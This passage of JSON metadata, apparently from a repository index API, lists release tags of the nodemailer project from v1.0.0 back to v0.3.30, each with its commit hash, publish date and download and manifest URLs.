manifests","release_url":null},{"name":"v1.0.0","sha":"97578f4068ed2b65f4ced33e456530d1a463e94c","kind":"commit","published_at":"2014-07-15T13:18:05.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.0/manifests","release_url":null},{"name":"v1.0.0-rc.1","sha":"3be7d5432eb128620f6932982af900a723040411","kind":"commit","published_at":"2014-07-10T20:04:42.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.0.0-rc.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.0-rc.1/manifests","release_url":null},{"name":"v0.7.1","sha":"da2f1d278f91b4262e940c0b37638e7027184b1d","kind":"commit","published_at":"2014-07-09T06:35:10.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.7.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.7.1/manifests","release_url":null},{"name":"v0.7.0","sha":"cbd825663520a72f88b443a7b2afcd942e18a094","kind":"commit","published_at":"2014-06-17T14:11:01.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.7.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.7.0/manifests","release_url":null},{"name":"v0.6.5","sha":"bae06159fb0024a27b6b7fa3b6719c9fe5c891b6","kind":"commit","published_at":"2014-05-15T07:09:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.6.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.5/manifests","release_url":null},{"name":"v0.6.4","sha":"9f6e55103cc08b1caf5ab6102c5638e6fbcaae5a","kind":"commit","published_at":"2014-05-13T06:49:23.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.6.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.4/manifests","release_url":null},{"name":"v0.6.3","sha":"163f8d32bfd25f7c62dde4969ddf5167867f7223","kind":"commit","published_at":"2014-04-16T08:07:55.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.6.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.3/manifests","release_url":null},{"name":"v0.6.2","sha":"af2dd7a49d8f86d5ae7b719228c1ae98aabb170c","kind":"commit","published_at":"2014-04-09T14:13:48.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.6.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.2/manifests","release_url":null},{"name":"v0.6.1","sha":"39e61b6dc53bc853795aeddc43eeea0f262f0835","kind":"commit","published_at":"2014-02-26T09:17:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.6.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.1/manifests","release_url":null},{"name":"v0.6.0","sha":"08639d846b307f794a3cd0796552a1365436472e","kind":"commit","published_at":"2013-12-30T12:30:41.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.6.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.6.0/manifests","release_url":null},{"name":"v0.5.15","sha":"364f114a8f7ee8f612b26589112292442260b745","kind":"commit","published_at":"2013-12-13T10:23:38.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.15","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.15/manifests","release_url":null},{"name":"v0.5.14","sha":"681d3a0a122639a760caa1d790c263f23548d666","kind":"commit","published_at":"2013-12-05T13:00:55.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.14","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.14/manifests","release_url":null},{"name":"v0.5.13","sha":"83c69914a1279f0504876454b13b1efbaf0f34b4","kind":"commit","published_at":"2013-12-03T09:38:49.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.13","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.13/manifests","release_url":null},{"name":"v0.5.12","sha":"32af634f6f5215099d8b8675748d0107b09c1346","kind":"commit","published_at":"2013-12-01T22:19:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.12","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.12/manifests","release_url":null},{"name":"v0.5.11","sha":"e63f6df52edb5cfef73afe22f10ab207cc81ac2f","kind":"commit","published_at":"2013-11-28T06:24:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.11","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.11/manifests","release_url":null},{"name":"v0.5.9","sha":"7d1273c2cd59e16c08f53412b43494237d3fc0ce","kind":"commit","published_at":"2013-11-25T12:39:39.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.9","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.9/manifests","release_url":null},{"name":"v0.5.8","sha":"b5f22b2d9588f36bd1793b7a7ef122da3b57bb04","kind":"commit","published_at":"2013-11-22T14:19:40.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.8/manifests","release_url":null},{"name":"v0.5.7","sha":"431f35dbfc3fbd3597cc9b9a9f8bc049c89a64f6","kind":"commit","published_at":"2013-11-18T09:24:55.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.7/manifests","release_url":null},{"name":"v0.5.6","sha":"e585c8127afe4ff7534b41696ca2758f6ea24fb4","kind":"commit","published_at":"2013-11-15T13:20:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.6/manifests","release_url":null},{"name":"v0.5.5","sha":"05ee9ea4938fa5834f64c5d87ab758d0f1ecc14f","kind":"commit","published_at":"2013-10-30T09:25:17.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.5/manifests","release_url":null},{"name":"v0.5.4","sha":"c5f0f95ce1afa4e05dc6dd354529e757ce1f2947","kind":"commit","published_at":"2013-10-29T11:47:05.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.4/manifests","release_url":null},{"name":"v0.5.3","sha":"681af9a25406cfd56abf62001fe4aea42bce3f68","kind":"commit","published_at":"2013-10-03T07:43:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.3/manifests","release_url":null},{"name":"v0.5.2","sha":"a55d9d39e76286435d0e32e1e55d4ca16ae5d5a5","kind":"tag","published_at":"2013-07-25T20:05:19.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.2/manifests","release_url":null},{"name":"v0.5.1","sha":"a5aa9e5723c1749a792a510fd262620346c7e276","kind":"tag","published_at":"2013-07-25T07:14:41.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.1/manifests","release_url":null},{"name":"v0.5.0","sha":"64118557164e44686951a184ff92e1257ba36001","kind":"tag","published_at":"2013-07-05T08:49:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.5.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.5.0/manifests","release_url":null},{"name":"v0.4.4","sha":"b8e035765b12368421f589fef69ba11c9baeb74f","kind":"tag","published_at":"2013-05-22T10:31:36.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.4.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.4/manifests","release_url":null},{"name":"v0.4.3","sha":"03e2d9beb096315c53613cd8a99bcb5c9bab6984","kind":"tag","published_at":"2013-05-20T11:42:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.4.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.3/manifests","release_url":null},{"name":"v0.4.2","sha":"3c13acfe7519842a2e8d90ab7e56f0b6e101a279","kind":"tag","published_at":"2013-05-15T13:37:54.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.4.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.2/manifests","release_url":null},{"name":"v0.4.1","sha":"3f9d6dc8589ea781ff407be99a699497bdf53692","kind":"commit","published_at":"2013-03-23T20:11:31.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.4.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.1/manifests","release_url":null},{"name":"v0.4.0","sha":"5cd4ccad42ed32fbc8ec3ac52a28c40f853dcd45","kind":"tag","published_at":"2013-03-23T07:11:36.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.4.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.4.0/manifests","release_url":null},{"name":"v0.3.45","sha":"2f1cd0477894209f080aebffe00ee42e13690b31","kind":"tag","published_at":"2013-03-23T07:03:59.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.45","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.45/manifests","release_url":null},{"name":"v0.3.44","sha":"1023fbedf2504c3767f79f635e722e601207fd98","kind":"tag","published_at":"2013-03-10T17:18:36.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.44","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.44/manifests","release_url":null},{"name":"v0.3.43","sha":"59144a684ef41408002d9cddc8fdacc2c6148129","kind":"tag","published_at":"2013-02-28T13:52:05.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.43","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.43/manifests","release_url":null},{"name":"v0.3.42","sha":"e522d62adc16f3a5b0d1fd587904fc16cd175ced","kind":"tag","published_at":"2013-02-08T13:03:01.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.42","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.42/manifests","release_url":null},{"name":"v0.3.41","sha":"e3fd9c6e62e38beb2bd253874a87549bdd892baf","kind":"tag","published_at":"2013-02-04T08:41:17.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.41","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.41/manifests","release_url":null},{"name":"v0.3.40","sha":"5e509125682cab3abdb16a86e9da0dde9aa02daa","kind":"tag","published_at":"2013-02-01T22:02:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.40","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.40/manifests","release_url":null},{"name":"v0.3.39","sha":"8602c7afbbdf2bd3305dddd6aa711a3aeff2699e","kind":"tag","published_at":"2013-02-01T10:44:11.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.39","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.39/manifests","release_url":null},{"name":"v0.3.38","sha":"40524e127c85cb45887fac0fcb9426c7f4128198","kind":"tag","published_at":"2013-02-01T10:41:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.38","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.38/manifests","release_url":null},{"name":"v0.3.37","sha":"2db72fbe25c9c5f3d4983c2a07d73198d9b7a004","kind":"tag","published_at":"2012-12-17T13:02:29.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.37","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.37/manifests","release_url":null},{"name":"v0.3.35","sha":"f7afa8c5d281d9db2e6c7483b04a8cf701ac3860","kind":"tag","published_at":"2012-11-30T11:59:50.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.35","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.35/manifests","release_url":null},{"name":"v0.3.34","sha":"c7310640c04887992eeb9964877a0f67a3aba9cf","kind":"tag","published_at":"2012-11-28T09:50:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.34","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.34/manifests","release_url":null},{"name":"v0.3.33","sha":"9968d4fb75206e9eed10937e3fad0d0a6133af0e","kind":"tag","published_at":"2012-11-27T12:47:05.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.33","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.33/manifests","release_url":null},{"name":"v0.3.32","sha":"99bac041c53d009e87c0e47c46c0eaf31c4a7fcb","kind":"tag","published_at":"2012-11-24T21:43:22.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.32","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.32/manifests","release_url":null},{"name":"v0.3.31","sha":"3dd2b93e0002cdb715422c5fbe1d10c866e2eb4e","kind":"tag","published_at":"2012-11-06T08:10:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.31","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.31/manifests","release_url":null},{"name":"v0.3.30","sha":"a1c36aa6d2e17c3f1b34897